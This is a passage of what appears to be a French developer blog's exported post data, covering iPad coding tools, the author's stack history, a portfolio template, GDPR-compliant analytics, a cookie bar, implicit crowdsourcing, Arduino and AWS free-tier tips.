depuis un iPad","Je sais qu'en lisant le titre, certains développeurs sont déjà en train de s'étouffer...\n\n> Quoi ? Développer sur un seul écran ? De moins de 13 pouces ? Sans clavier ? C'est de la folie !\n\nAlors oui c'est sûr que **ce n'est pas une option de remplacement pour une machine fixe** ou un bon laptop. Mais pour du développement de prototype qui nous trotte dans la tête, dans des endroits parfois improbables et **lorsque l'on a laissé sa machine à la maison**, l'iPad est clairement une solution de secours !\n\nEncore faut-il les bons outils :\n\n## Éditeur : Codesandbox.io\n\nC'est clairement **l'outil indispensable pour développer sur tablette**. Un éditeur de code, en ligne, avec la possibilité d'éxecuter **de nombreux langages** dans le bac à sable.\n\nLes points forts :\n\n* Gratuit\n* Déploiement du code sur une url de test\n* Des boilerplates sont disponibles pour la plupart des frameworks populaires\n* Intégration avec Github pour le versionning\n\n::: bookmark\n[![](https://codesandbox.io/static/img/banner.png)CodeSandbox: Online IDE for Rapid Web Development](https://codesandbox.io/index2)\n:::\n\n## Clavier Bluetooth : Logitech K380\n\nLe plus gros obstacle pour apprécier développer (occasionellement) sur iPad a évidemment été **le clavier virtuel.**\n\nMême si il est possible de sortir un certains nombre de mots à la minute (avec l'habitude), je développe personnellement **une aversion pour la sensation de tapottement rapide** sur l'écran au bout d'une dizaine de minutes.\n\nUtilisant de plus en plus mon iPad pour écrire de manière général, j'ai opté pour le clavier Bluetooth K380 de chez Logitech, **dont la taille est parfaite pour rentrer dans une sacoche, tout en offrant une position agréable**.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/05/A414768B-E7E7-46A3-9735-CF03E363BBF8.png)\n\n> Si vous êtes sensible aux détails, la forme arrondie des touches rappellera aux plus nostalgique les touches des machines à écrire.\n\n**Il est compatible iOS, Android, Mac et PC pour un prix entre 50 et 70 euros**. Je ne vous recommande pas forcément d'investir dans un clavier bluetooth si vous comptez seulement vous amuser avec codesandbox, mais si vous écrivez regulièrement sur iPad (ce qui est mon cas), **je vous le conseille fortement !**\n\n[Disponible sur Amazon (lien non affilié)](https://www.amazon.fr/Logitech-Clavier-Bluetooth-Windows-Android/dp/B013SL1YWU/ref=sxts_sxwds-bia-wc-p13n1_0?__mk_fr_FR=%C3%85M%C3%85%C5%BD%C3%95%C3%91&cv_ct_cx=Logitech+k380&dchild=1&keywords=Logitech+k380&pd_rd_i=B013SL1YWU&pd_rd_r=b4527213-1893-4923-8a42-52c282fd42eb&pd_rd_w=YmehE&pd_rd_wg=TQb9P&pf_rd_p=346b2936-0b14-4691-a4a3-2ce6d77f3fd4&pf_rd_r=GMWGVXSA3EKYC0599W8W&psc=1&qid=1589959242&sr=1-1-91e9aa57-911e-4628-99b3-09163b7d9294 https://www.amazon.fr/Logitech-Clavier-Bluetooth-Windows-Android/dp/B013SL1YWU/ref=sxts_sxwds-bia-wc-p13n1_0?__mk_fr_FR=%C3%85M%C3%85%C5%BD%C3%95%C3%91&cv_ct_cx=Logitech+k380&dchild=1&keywords=Logitech+k380&pd_rd_i=B013SL1YWU&pd_rd_r=b4527213-1893-4923-8a42-52c282fd42eb&pd_rd_w=YmehE&pd_rd_wg=TQb9P&pf_rd_p=346b2936-0b14-4691-a4a3-2ce6d77f3fd4&pf_rd_r=GMWGVXSA3EKYC0599W8W&psc=1&qid=1589959242&sr=1-1-91e9aa57-911e-4628-99b3-09163b7d9294)\n\n## Application SSH : Termius\n\nLà on parle d'une appli pour ceux qui veulent **pousser le vice encore plus loin !**\n\nCodesandbox vous donne la possibilité de déployer un back-end et un front-end de test, c'est bien. Mais si on faisait **notre propre déploiement directement avec l'ipad ?**\n\nL'appli termius vous permet **d'établir une connexion ssh** avec un n'importe quel serveur que vous aurez mis en place.\n\n::: bookmark\n[![](https://is3-ssl.mzstatic.com/image/thumb/Purple123/v4/b4/aa/02/b4aa0299-ec94-3628-2951-f36fdf227dba/AppIcon-0-0-1x_U007emarketing-0-0-0-7-0-0-sRGB-0-0-0-GLES2_U002c0-512MB-85-220-0-0.png/1200x630wa.png)‎Termius - SSH client](https://apps.apple.com/fr/app/termius-ssh-client/id549039908)\n:::\n\nIl ne vous reste plus qu'à installer Git, cloner le projet sur votre serveur et utiliser votre méthode de déploiement favorite, comme vous le feriez depuis votre machine classique et... Voilà !\n\n> Vous avez développé et déployé une application depuis votre iPad ! Bravo, vous faites maintenant partie du club des hérétiques ! Bienvenue !","J’ai testé pour vous de faire du développement web sur iPad pour créer des prototypes, et surprise : ça marche plutôt bien !","les-3-outils-indispensables-pour-faire-du-developpement-web-depuis-un-ipad","2020-05-20T07:01:18.000Z","2023-09-22T13:36:06.567Z","2020-05-20T08:02:15.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/05/IMG_3059.jpg",{"id":101,"title":102,"content":103,"socialTitle":8,"description":104,"socialDescription":8,"slug":105,"createdAt":106,"updatedAt":107,"publishedAt":108,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":109,"coverCopyright":110,"coverCopyrightLink":111},20,"L'évolution de ma stack technique de mes débuts à aujourd'hui","> Pour ceux qui se poseraient la question, je ne suis pas assez mégalo pour penser que tous les développeurs soient intéressés de près ou de loin par ma stack technique.\n\n**Mais comme j'accompagne de plus en plus de développeurs juniors, je sais que la question du choix du langage (et des frameworks) est une vraie préoccupation pour beaucoup.**\n\nJ'en ai d'ailleurs fait un article intitulé \"[Trouver son langage de programmation de prédilection](https://code-garage.fr/trouver-son-langage-de-programmation-de-predilection/)\" pour essayer de démystifier le sujet.\n\n**Mon but ici n'est pas d'expliquer en détails les raisons de ces évolutions** (elles ont souvent été le fruits d'expériences personnelles, de rencontres et d'opportunités) mais simplement de montrer que **la carrière d'un développeur n'est pas liée à une technologie en particulier**.\n\nIl faut voir cela comme une grande boite à outils dans laquelle **chaque outil est différent, plus ou moins pratique pour certaines tâches**, mais c'est à force d'utiliser ces outils que l'ont va apprendre à les connaitre et à les **choisir en fonction du projet**.\n\n> En somme on peut utiliser une clé à molette ou une clé à pipe pour dévisser un écrou, notre choix va dépendre de l'environnement dans lequel on se trouve !\n\nVoici donc le contenu de ma trousse à outils depuis les 10 dernières années et son évolution au fil du temps :\n\n## 2010 - 2012\n\n### La découverte du web\n\n* CSS : Vanilla\n* Javascript : Vanilla\n* PHP : Vanilla\n* MySQL : PDO\n* Hébergement : 1&1\n\n## 2012 - 2013\n\n### La vague jQuery\n\n* CSS : Vanilla\n* **\\+ Javascript : jQuery**\n* PHP : Vanilla\n* MySQL : PDO\n* Hébergement : 1&1\n\n## 2013 - 2015\n\n### La révolution AngularJS\n\n* **\\+ CSS : Bootstrap**\n* **\\+ Javascript : AngularJS**\n* PHP : Vanilla\n* MySQL : PDO\n* Hébergement : 1&1\n\n## 2015 - 2017\n\n### Have some rest\n\n* CSS : Bootstrap\n* Javascript : AngularJS\n* **\\+ NodeJS : ExpressJS**\n* **\\+ MongoDB : Mongoose**\n* **\\+ Gulp**\n* **\\+ Hébergement : 1&1 / Heroku / mLab**\n\n## 2017 - 2020\n\n### Le framework est mort, vive le framework !\n\n* **\\+ CSS : Vanilla**\n* **\\+ Javascript : VueJS/NuxtJS**\n* NodeJS : ExpressJS\n* MongoDB : Mongoose\n* **\\+ Redis**\n* **\\+ Webpack**\n* **\\+ Hébergement : OVH / AWS / Heroku / Atlas**\n\n## 2020 - Aujourd'hui\n\n### S'adapter toujours, encore\n\n* **\\+ CSS :** Vanilla / **TailwindCSS / CSS-in-JS**\n* **\\+ Javascript :** VueJS / NuxtJS / **TypeScript / React**\n* **\\+ Mobile : React-Native**\n* NodeJS : ExpressJS\n* DB : MongoDB / Redis\n* Webpack\n* **\\+ Hébergement :** OVH / AWS / Atlas / **CleverCloud**\n\n## Et maintenant ?\n\nJe continue de tester de nouveaux outils très régulièrement mais mon prochain objectif est d'arriver à **intégrer docker dans ma stack** notamment pour mettre en place des tests d'intégration de manière beaucoup plus simple !\n\n","La question du choix du langage (et des frameworks) est une vraie préoccupation chez beaucoup de développeurs.","levolution-de-ma-stack-technique-de-mes-debuts-a-aujourdhui","2020-05-21T07:30:04.000Z","2023-09-19T15:05:34.725Z","2021-06-01T21:00:00.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/06/debby-hudson-asviIGR3CPE-unsplash.jpg","Debby Hudson sur Unsplash","https://unsplash.com/@hudsoncrafted?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":113,"title":114,"content":115,"socialTitle":8,"description":116,"socialDescription":8,"slug":117,"createdAt":118,"updatedAt":119,"publishedAt":120,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":121,"coverCopyright":122,"coverCopyrightLink":123},21,"Un template de site/portfolio minimaliste pour développeur","Je vois encore passer beaucoup de profils de développeurs web en recherche d'emploi sans site personnel ou portfolio à mettre en avant.\n\n> En tant que recruteur j'ai toujours trouvé qu'avoir un lien vers un site web dans un CV donnait un vrai avantage lors d'un recrutement.\n\nMais entre les **Wordpress aux designs douteux** et remplis d'infos trop personnelles et les **templates Bootstrap bourrés d'animations**, génériques et impersonnel au possible, je n'ai vu que trop rarement des sites simples, mettant en avant la personne **de manière épurée, lisible et professionnelle**.\n\nVoilà pourquoi j'ai décidé de développer **un template de site personnel minimaliste et accessible** (en terme de design et de code) **à destination des développeurs et développeuses web**.\n\n**Mes contraintes étaient :**\n\n* Sans tooling complexe, **ni framework** : HTML et CSS tout simplement\n* **Aucun javascript** nécessaire au fonctionnement du site\n* Parfaitement **responsive**\n* **Agréable à l'oeil, accessible** et compréhensible\n* Facilement **personnalisable** dans le fond et la forme\n* Une **hiérarchie** logique des informations importantes\n* Avoir des **sections verticales clairement définies** pouvant être changées d'ordre afin de mettre en valeur certaines parties du profil si besoin\n* **SEO** et Social Media friendly (open-graph et meta-data)\n\n## Voici comment est né : John Doe\n\n> En anglais, **John Doe** est une expression qui désigne une personne non identifiée ou un citoyen Lambda :  « Monsieur X », « Monsieur Untel », « Monsieur Durand », « Monsieur Tout-le-monde »\n\n![Capture d'écran du template](https://cellar-c2.services.clever-cloud.com/content/2021/06/john-doe-1.png)\n\n> **La démo est disponible ici** : [https://nicolasbrondin.github.io/john-doe/](https://nicolasbrondin.github.io/john-doe/)\n\nSon  petit plus ? Il intègre **un script de génération aléatoire de profil** et  d'image de fond à chaque refresh pour que le développeur puisse tester  facilement avec différentes informations.\n\nLe code est disponible ici : [https://github.com/NicolasBrondin/john-doe](https://github.com/NicolasBrondin/john-doe)\n\n::: bookmark\n[![](https://opengraph.githubassets.com/ac4d5883c3c6d2ece3979d35b5c49f6ccd3f17ff25523673602c249b22b82b6f/NicolasBrondin/john-doe)NicolasBrondin/john-doe](https://github.com/NicolasBrondin/john-doe)\n:::\n\nN'hésitez pas à **forker le projet** pour le personnaliser avec vos informations, votre framework préféré et **mettre en ligne** votre propre site à partir de **ce template complètement modulable** !\n\n","Créez votre site personnel pour mettre votre profil en avant en quelques minutes grâce à ce template épuré !","un-template-de-site-portfolio-minimaliste-pour-developpeur","2020-05-22T07:29:26.000Z","2023-09-21T13:50:52.569Z","2021-06-15T19:05:00.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/06/lucas-benjamin-wQLAGv4_OYs-unsplash.jpg","Lucas Benjamin sur Unsplash","https://unsplash.com/@aznbokchoy?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":125,"title":126,"content":127,"socialTitle":8,"description":128,"socialDescription":8,"slug":129,"createdAt":130,"updatedAt":131,"publishedAt":132,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":133,"coverCopyright":134,"coverCopyrightLink":135},23,"Intégrer Google Analytics facilement, tout en respectant la RGPD !","L'arrivée de la RGPD a chamboulé la vie de nombreux développeurs. Même pour les plus attachés au respect de la vie privée des internautes, les obligations législatives compliquées ainsi que les sanctions possibles font parfois peur, **jusqu'à empêcher certains de simplement mesurer les audiences de leur sites.**\n\n> De l'opt-in ? Un bandeau ? Une popup ? Une politique de confidentialité ? J'abandonne !\n\nForcer les éditeurs à demander le consentement d'un utilisateur avant de pouvoir lui balancer toute sorte de pub ciblée est normal. Mais devoir **attendre le consentement avant de pouvoir mesurer l'audience provoque des erreurs dans les chiffres** : tant sur le nombre de visites, que le nombre de pages vues ou le temps passé sur le site.\n\n## La solution\n\nCe que beaucoup ne savent pas, c'est que la **règlementation RGPD contient un article spécifique se rapportant à la mesure d'audience**, et offrant  la possibilité de déposer un cookie de suivi **sans avoir à obtenir le consentement au préalable**.\n\nCette autorisation, valide **UNIQUEMENT** pour la mesure d'audience et l'A/B testing n'est autorisée que sous **certaines règles très précises**, mais applicables en quelques lignes de code et quelques clics sur le panneau d'administration de Google Analytics.\n\n### Les actions à mettre en place sur Google Analytics\n\n* **Signer l'accord** de traitement de données de Google\n* **Déclarer le responsable** du traitement des données (DPO, probablement vous)\n* Configurer le **délai de conservation des données** à 13 mois (14 mois dans le cas de GA, sans réinitialisation du cookie)\n* **Anonymiser les IP** récoltées\n\nPour un tutoriel complet de ces 4 premières étapes (réalisables en quelques minutes), rendez-vous sur cet article des Codeur.com: [https://www.codeur.com/blog/rgpd-consentement-google-analytics/](https://www.codeur.com/blog/rgpd-consentement-google-analytics/)\n\n### Un peu de code maintenant\n\nUne fois le script Google Analytics personnalisé, il ne vous reste plus qu'à :\n\n* **Activer par défaut** le lancement du script analytics\n* **Ajouter un simple bandeau de cookie** avec un texte similaire à celui-ci : \"Ce site utilise des cookies de mesure d'audience anonyme afin d'améliorer l'expérience utilisateur. Pour plus d'informations sur l'utilisation de ces données, cliquez ici\") **avec un lien menant ouvrant une popup de gestion des cookies.**\n* Dans cette popup, **expliquez simplement votre démarche** de mesure d'audience, et donnez à la personne **le moyen de refuser ces cookies**.\n* Pensez bien à **garder un lien** dans votre pied de page **vers votre popup de gestion des cookies**, elle doit être accessible à tout moment !\n* **Désactivez** votre script Google Analytics **si l'utilisateur refuse** la mesure d'audience.\n\n> Pour ceux qui se poseraient la question : Oui, vous pouvez utiliser un cookie pour vous souvenir du non-consentement de la personne.\n\n_Vérifiez toujours que votre mesure d'audience rentre bien dans les critères d'acceptation de  la CNIL, directement sur cette page spécialisée : [https://www.cnil.fr/fr/mesurer-la-frequentation-de-vos-sites-web-et-de-vos-applications](https://www.cnil.fr/fr/mesurer-la-frequentation-de-vos-sites-web-et-de-vos-applications)_\n\n**Et voilà, vous pouvez maintenant mesurer votre audience basée sur des chiffres exacts !**\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/05/giphy.gif)","La règlementation RGPD contient un article spécifique se rapportant à la mesure d'audience, et offrant la possibilité de déposer un cookie de suivi sans avoir à obtenir le consentement au préalable.","comment-integrer-google-analytics-facilement-tout-en-respectant-la-rgpd","2020-05-26T06:40:01.000Z","2023-09-22T13:36:18.971Z","2020-05-26T07:13:45.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/05/lukas-blazek-mcSDtbWXUZU-unsplash.jpg","Lukas Blazek sur Unsplash","https://unsplash.com/@goumbik?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":137,"title":138,"content":139,"socialTitle":8,"description":140,"socialDescription":8,"slug":141,"createdAt":142,"updatedAt":143,"publishedAt":144,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":145,"coverCopyright":146,"coverCopyrightLink":147},24,"Une \"cookie bar\" simple, discrète et open-source","Il y a deux jours, [j'écrivais un article](https://code-garage.fr/comment-integrer-google-analytics-facilement-tout-en-respectant-la-rgpd/) sur **la RGPD, Google Analytics et la mesure d'audience**.\n\nDans cet article je proposais une marche à suivre, mais **aucun guide technique pour l'ajout de la \"cookie bar\"** en question.\n\nComme j'avais moi-même besoin d'un widget de ce genre pour mon blog, et qui soit très facile à intégrer pour pouvoir l'utiliser sans avoir à toucher le code de mon thème Ghost, **j'ai décidé de développer une barre de cookie minimaliste et de la mettre en open-source...**\n\n> Et c'est chose faite !\n\nD'ailleurs si vous **regardez en bas à gauche de votre écran actuellement**, vous aurez la démo en temps-réel de ce que vous aussi, vous pouvez intégrer sur votre site, **en quelques clics**.\n\nCette barre a été spécifiquement conçue pour être **la moins intrusive possible**. Donc si vous cherchez une barre de cookie **minimaliste**, avec gestion du consentement pour de la mesure d'audience (type Google Analytics), intégrable facilement, **vous trouverez tout le code sur projet Github** :\n\n[https://github.com/NicolasBrondin/cookie-consent](https://github.com/NicolasBrondin/cookie-consent)\n\n::: bookmark\n[![](https://avatars2.githubusercontent.com/u/6644095?s=400&v=4)NicolasBrondin/cookie-consent](https://github.com/NicolasBrondin/cookie-consent)\n:::\n\n**Bien sûr, issues et pull-requests sont les bienvenues ! (et les stars aussi)**","J'avais d'un widget de ce genre pour mon blog, j'ai donc décidé de développer une barre de cookie minimaliste et de la mettre en open-source","une-cookie-bar-simple-discrete-et-open-source","2020-05-28T06:22:40.000Z","2023-09-22T13:36:30.324Z","2020-05-28T06:35:26.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/05/christina-branco-7P-wc2Z2Ujs-unsplash.jpg","Christina Branco sur Unsplash","https://unsplash.com/@starvingartistfoodphotography?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":149,"title":150,"content":151,"socialTitle":8,"description":152,"socialDescription":8,"slug":153,"createdAt":154,"updatedAt":155,"publishedAt":156,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":157,"coverCopyright":158,"coverCopyrightLink":159},26,"Qu'est-ce que le crowdsourcing implicite ?","Le terme \"crowdsourcing\", ou \"production participative\" en français, est une pratique consistant à utiliser **la créativité, l'intelligence** ou le savoir-faire afin **d'un grand nombre de personne** (d'où le terme \"crowd\" qui signifie \"foule\") afin de **résoudre une tâche complexe**, chronophage ou ne pouvant pas être automatisée.\n\n> Le crowdsourcing ne doit pas être confondu avec de la génération de contenu par les utilisateurs !\n\n**Le but du crowdsourcing est de résoudre un problème à l'échelle d'un individu, d'une entreprise** ou de la société en général, tandis que la génération de contenu par les utilisateurs ne sert en général qu'à alimenter la plateforme en question.\n\nPar exemple, **on va pouvoir parler de crowsourcing pour des plateformes telles que Stackoverflow** ou Quora, mais pour les réseaux sociaux tels que Facebook ou Twitter on va parler de simple génération de contenu.\n\n## Le crowdsourcing implicite\n\nLe terme implicite indique que l**'utilisateur participe à la résolution d'un problème sans forcément être au courant** que son action vient de donner un coup de pouce au système. A l'opposé, lorsque vous indiquez un accident sur une application de navigation GPS comme **Waze, vous savez très bien que vous participez à la vie de la vie de l'application**.\n\n### 1 - ReCaptcha\n\nReCaptacha est **un service de captcha \"classique\" du point de vue de l'utilisateur** qui doit rentrer les lettres correspondantes à l'image afin de débloquer une fonctionnalité. Mais ce service, développé à l'Université de Carnegie Mellon (Pittsburg) et ensuite acheté par Google est **un véritable coup de génie**.\n\nChaque captcha est composé de **2 mots** : l'un que le système connait déjà et qui va lui **permettre de valider que vous êtes un humain**, et l'autre que le système ne connait pas et **va utiliser votre réponse pour enrichir sa détection de caractères**.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/06/unnamed-1.png)\n\nGrâce à ce système, **l'entièreté des archives du New York Times a pu être numérisée**, et jusqu'en 2014 il a aussi aidé à enrichir la bibliothèque de Google Books.\n\nDepuis, Google a transposé le concept pour l'aider à **améliorer ses modèles de reconnaissance d'objets dans des images :** lorsque vous complêtez le captcha ci-dessous, vous participez donc à l'amélioration des modèles d'IA de chez Google !\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/06/Example-of-v2-reCAPTCHA-1.png)\n\n### 2 - Quick, Draw\n\nToujours chez Google, le jeu \"Quick, Draw\" sorti en 2016 était à l'époque présenté comme **une démo amusante de leur réseau de neurones entrainé pour reconnaitre les dessins.**\n\nEvidemment, l'objectif était surtout de pousser les joueurs à alimenter ce réseau avec leurs propres dessins pour **améliorer la reconnaissance de croquis à chaque nouvelle partie**.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/06/maxresdefault.jpg)\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/06/unnamed-2.png)\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/06/google_quick_draw_screensht_1.0.png.jpg)\n\nAujourd'hui la couleur est annoncée dès la page d'accueil \"Un réseau de neurones peut-il apprendre à reconnaître les dessins ? Participez à son apprentissage en ajoutant vos dessins \\[...\\]\" mais **à sa sortie, Quick Draw était le parfait exemple de crowdsourcing implicite**.\n\n### 3 - Waze\n\nLorsque vous roulez et que vous utilisez une application de navigation comme Waze, vous avez la possibilité d'indiquer des dangers sur la route, **ce qui améliore l'expérience de tout le monde.**\n\n![](https://cellar-c2.services.clever-cloud.com/content/2023/07/waze.jpg)\n\nMais sans que vous n'ayez rien à faire, Waze récupère bien d'autres informations, comme **votre vitesse actuelle, afin de donner un état des lieux du niveau de circulation** sur une route à un moment donné (et donc d'annoncer/prévoir des bouchons) !\n\n> En 2020, un artiste avait d'ailleurs simulé un faux bouchon en tirant un chariot contenant 99 smartphones sur une route ([article](https://www.cnetfrance.fr/news/un-artiste-simule-un-embouteillage-avec-99-smartphones-et-dupe-google-maps-39898459.htm)).\n\n## Est-ce éthique ?\n\nDu point de vue éthique, l'utilisation du crowdsourcing implicite peut rapidement basculer d'un côté comme de l'autre.\n\nC'est **un compromis tout à fait respectable** pour l'offre d'un service utile (ou amusant) à l'utilisateur, contre sa contribution à un projet ou à une application.\n\n**La limite se situe sûrement dans l'utilisation, ou non, de données personnelles** de l'utilisateur, en plus des informations qu'il/elle aura fournies lors de son utilisation du service.\n\n","Le terme implicite indique que l'utilisateur participe à la résolution d'un problème sans forcément être au courant que son action vient de donner un coup de pouce au système.","quest-ce-que-le-crowdsourcing-implicite-et-pourquoi-cest-lavenir","2020-06-01T06:58:09.000Z","2023-09-19T15:05:34.922Z","2020-06-01T08:28:18.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/06/nicholas-green-nPz8akkUmDI-unsplash.jpg","Nicholas Green sur Unsplash","https://unsplash.com/@nickxshotz?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":161,"title":162,"content":163,"socialTitle":8,"description":164,"socialDescription":8,"slug":165,"createdAt":166,"updatedAt":167,"publishedAt":168,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":169,"coverCopyright":170,"coverCopyrightLink":171},27,"Arduino ou comment fabriquer ses propres objets électroniques","Lorsque l'on parle de fabrication d'objets électroniques et de prototypes, **la tâche parait souvent insurmontable**, la complexité des appareils d'aujourd'hui comme les smartphones, les ordinateurs et les consoles laisse penser que seule une équipe d'ingénieur(e)s chevronnés peuvent y arriver.\n\nBien sûr, fabriquer une console relève de l'exploit (même si ce n'est pas insurmontable, comme l'explique [ce hacker](https://imgur.com/gallery/ku9zlNu)) mais il n'en reste pas moins possible de **fabriquer des objets simples, très utiles et pour pas très cher avec des cartes de prototypage open-source grâce au [projet Arduino](https://www.arduino.cc)**.\n\n## Le concept\n\nArduino est un projet à la fois **hardware et software open-source** permettant à des créateurs de **fabriquer facilement des prototypes d'objets électroniques** interactifs.\n\nGénéralement, un Arduino désigne **une carte électronique basique intégrant un micro-controlleur** ainsi que tous les composants nécessaires à son fonctionnement, sa programmation et sa collaboration **avec d'autres modules électroniques.**\n\nEn réalité, **l'écosystème regroupe plusieurs modèles de cartes open-source**, un IDE intégrant les drivers des cartes, de très nombreuses librairies, des modules électroniques et des cartes d'extension mais surtout : **une communauté hyper-active et passionnée**.\n\nC'est un des avantages de l'écosystème Arduino, car **même sans avoir de grosses connaissances en électronique** et en programmation embarquée, vous allez pouvoir vous appuyer sur **des milliers de tutoriels disponibles** dont quelques-uns décrivant un projet similaire au votre !\n\n> J'entends déjà certains se demander : \"Quelle est la différence entre les cartes Arduino et Raspberry Pi ?\"\n\n**Elles n'ont rien à voir entre-elles !** Les Raspberry Pi sont des **mini-ordinateurs** pouvant faire tourner différents systèmes d'exploitation (principalement Linux et Windows) tandis que les cartes Arduino ne peuvent **faire tourner qu'un seul programme à la fois** qui loge sur leur toute petite mémoire.\n\nL'un utilise un **micro-processeur**, tandis que l'autre utilise un **microcontrôleur** bien moins puissant (mais aussi bien **moins énergivore**).\n\n## Les fonctionnalités\n\nVoici une petite liste des principales fonctionnalités trouvables dans les cartes Arduino :\n\n* Des entrées-sorties **numériques** (valeurs 0 ou 1)\n* Des entrées sorties **analogues** (valeurs de 0 à 1023)\n* Une **horloge** interne\n* De la mémoire **flash**\n* Une sortie de tension d'alimentation **régulée**\n\n**Les cartes Arduino sont programmables en C/C++** grâce (notamment) à l'IDE Arduino qui permettra de compiler le programme vers un ensemble d'instruction compréhensibles par le microcontrôleur.\n\n## Les cartes\n\n### Arduino classique\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/06/arduino-uno-rev3-smd-edition-kubii.png)\n\n**Il existe de nombreuses cartes de différentes tailles** embarquant des microcontrôleurs plus ou moins puissants ainsi que d'autres capacités différenciantes.\n\nDe gauche à droite, nous avons :\n\n* **Un Arduino Nano de la taille d'une clé USB**, parfait pour vos projets d'objets intelligents transportables fonctionnant sur batterie.\n* **Un Arduino Uno de la taille d'une carte de crédit**, utile pour vos projets d'objets domotiques au sein de la maison par exemple.\n* **Un Arduino Mega deux fois plus grand**, suffisant pour de beaux projets de robotique.\n\nLe choix d'une carte ou d'une autre est souvent orientée **selon le nombre d'entrée-sorties requise pour le bon fonctionnement du projet**, mais il existe certaines cartes embarquant des fonctionnalités supplémentaires très utiles.\n\n### ESP32\n\nL'ESP32 est l'exemple parfait d'**une carte au potentiel incroyable** tout en bénéficiant de la simplicité de l'écosystème Arduino.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/06/esp32.png)\n\nUn tout petit peu plus grosse qu'un Arduino Nano, l'ESP32 intègre trois particularités qui en font **un élément de choix pour des projets d'objets connectés** :\n\n* Une alimentation en 3.3V, rendant la carte **très économe en énergie** et pouvant tourner des jours (voir semaines) sur une batterie correctement dimensionnée.\n* Une carte **Bluetooth BLE**\n* Une carte **Wifi**\n\n> Si vous aimez déjà créer des projets sous Arduino, je ne peux que vous recommander de tester cette carte !\n\n## Quelques exemples\n\nIl existe **des centaines de modules compatibles avec les cartes Arduino**, et il faut garder en tête que cela reste un module électronique comme n'importe lequel, il est donc **compatible avec l'ensemble des composants électroniques** disponibles sur le marché ! \n \nEntre des capteurs de proximité à ultrason, de son, infrarouge, de température, etc... **Vous pourrez fabriquer un nombre incroyable d'objets** utiles pour votre quotidien ou pour vos proches ! \n \nDe mon côté j'ai mis en ligne de projets open-source disponibles juste ici, l'un basé sur un Arduino Nano, et l'autre sur un ESP32 :\n\n* **Un système d'arrosage automatique de plante d'intérieur** : [https://github.com/NicolasBrondin/power-plant](https://github.com/NicolasBrondin/power-plant)\n* **Un lecteur MP3/White noise pour bébé** : [https://code-garage.fr/blog/fabrication-lecteur-mp3-open-source-sur-esp32-avec-arduino](https://code-garage.fr/blog/fabrication-lecteur-mp3-open-source-sur-esp32-avec-arduino)\n\n","Bien sûr, fabriquer une console relève de l'exploit mais il n'en reste pas moins possible de fabriquer des objets simples, très utiles et pour pas très cher avec des cartes de prototypage open-source grâce au projet Arduino.","arduino-ou-comment-fabriquer-ses-propres-objets-electroniques","2020-06-02T13:37:59.000Z","2023-11-17T18:15:37.051Z","2022-03-10T07:13:00.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/03/harrison-broadbent-unsplash.jpg","Harrison Broadbent sur Unsplash","https://unsplash.com/@harrisonbroadbent?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":173,"title":174,"content":175,"socialTitle":8,"description":176,"socialDescription":8,"slug":177,"createdAt":178,"updatedAt":179,"publishedAt":180,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":181,"coverCopyright":182,"coverCopyrightLink":183},28,"4 astuces AWS que j'aurais aimé connaitre plus tôt","Si vous ne l'avez pas lu, je vous invite à découvrir mon article sur les services AWS que j'utilise le plus au quotidien sorti il y a quelques semaines, [juste ici](https://code-garage.fr/les-5-services-aws-que-jutilise-le-plus/).\n\nAu fil des années, et à force de tomber sur de nouvelles problématique lors de l'hébergement de mes projets, j'ai pris pour habitude de noter les astuces qui m'ont parfois sauvé la vie (en tout cas de nombreuses heures), et j'ai aujourd'hui décidé de vous les partager.\n\n## #1 - Du stockage gratuit\n\nSi vous êtes comme moi, et que l'utilisation du Free Tier d'AWS est votre sport national, je sais que vous ne cracherez pas sur quelques Gigas de stockage gratuits.\n\nCar oui, lorsque vous montez une instance EC2 (T2.micro) éligible à l'offre gratuite, Amazon vous incite à laisser la configuration par défaut en lançant l'instance avec un seul clic.\n\nMais si vous prenez le temps de regarder l'onglet stockage, vous verrez que la taille du volume par défaut est de 8Go, alors qu'il est possible de monter jusqu'à 30 Go tout en restant éligible à l'offre gratuite. C'est cadeau !\n\n## #2 - Plus de ram pour le même prix\n\nIl n'est pas rare qu'une installation à l'intérieur d'une instance EC2 Micro soit interrompue pour manque de mémoire vive, notamment en passant par NPM, car oui 1Go de ram pour faire tourner le système et une installation prenant parfois plusieurs Go de stockage c'est trop peu.\n\nLa solution est simplement d'utiliser une partie des 22Go de stockage que vous venez de gagner avec l'astuce précédente pour la transformer en un fichier de swap.\n\nUn fichier swap est un fichier d'extension de la mémoire utilisable par le système d'exploitation. Ses performances sont nécessairement moindre que la \"vraie\" mémoire vive et je ne conseille pas de s'appuyer dessus pour permettre à un programme de tourner de manière robuste, mais le temps d'une installation cela vous évite d'avoir à payer une instance plus performante !\n\nVoilà un tutoriel simple pour mettre en place un fichier de swap sous linux : [https://linuxize.com/post/create-a-linux-swap-file/](https://linuxize.com/post/create-a-linux-swap-file/)\n\n## #3 - Une IP unique pour 